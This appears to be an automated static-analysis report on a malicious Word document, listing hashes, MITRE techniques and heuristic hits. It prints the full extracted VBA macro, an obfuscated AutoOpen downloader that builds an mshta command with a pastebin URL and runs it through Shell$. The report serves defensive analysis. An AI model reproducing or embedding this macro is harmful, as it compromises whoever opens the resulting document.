Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 937b1c40c6d71c50…

MALICIOUS

Office (OLE)

80.0 KB Created: 2018-02-14 21:50:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: e474637df4be230c0dbd635bdc921f6a SHA-1: 404658db26d04ca1bb9c9a9e0881a7f8fa40736a SHA-256: 937b1c40c6d71c501d0798a1cd827181ba26fa5ea178d4c37f7e8c18bda2b829
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine that is triggered upon opening the document. This macro constructs the URL 'https://pastebin.com/raw/xtEWumcy' by concatenating string fragments and then uses the Shell() function to download and execute a payload from this URL. This indicates a macro-based downloader attack pattern.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1779 bytes
SHA-256: 3faa54c84994ffbe1a47832e66800cf5a470ae3a1580c2b224fbd0f5a3c28e81
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "capital"
Sub AutoOpen()
    Dim OverzealTeen As String
    HannoverCoshow = Array(" ", "h", "s", "m", ".", "a", "x", "e", "t")
    Dim SuspectlessEquilibratory As String
    SuspectlessEquilibratory = "https"
    OverzealTeen = OverzealTeen + HannoverCoshow(3)
    OverzealTeen = OverzealTeen + HannoverCoshow(2)
    Dim InjectingRevibrate As String
    InjectingRevibrate = "://pa"


    OverzealTeen = OverzealTeen + HannoverCoshow(1)
    OverzealTeen = OverzealTeen + HannoverCoshow(8)
    Dim ClumsinessPodesta As String
    ClumsinessPodesta = "stebin"


    OverzealTeen = OverzealTeen + HannoverCoshow(5)
    OverzealTeen = OverzealTeen + HannoverCoshow(4)
    Dim ChopinesDozily As String
    ChopinesDozily = ".com/r"


    AnticlimacticallyBels = AnticlimacticallyBels & SuspectlessEquilibratory & InjectingRevibrate & ClumsinessPodesta & ChopinesDozily
    OverzealTeen = OverzealTeen + HannoverCoshow(7)
    OverzealTeen = OverzealTeen + HannoverCoshow(6)
    Dim CoulterProthoraxes As String
    CoulterProthoraxes = "aw/xtE"

    AnticlimacticallyBels = AnticlimacticallyBels & CoulterProthoraxes
    OverzealTeen = OverzealTeen + HannoverCoshow(7)
    OverzealTeen = OverzealTeen + HannoverCoshow(0)
    Dim RetationCuprum As String
    RetationCuprum = "Wumcy"
    AnticlimacticallyBels = AnticlimacticallyBels & RetationCuprum
    OverzealTeen = OverzealTeen + AnticlimacticallyBels
    Shell$ OverzealTeen
End Sub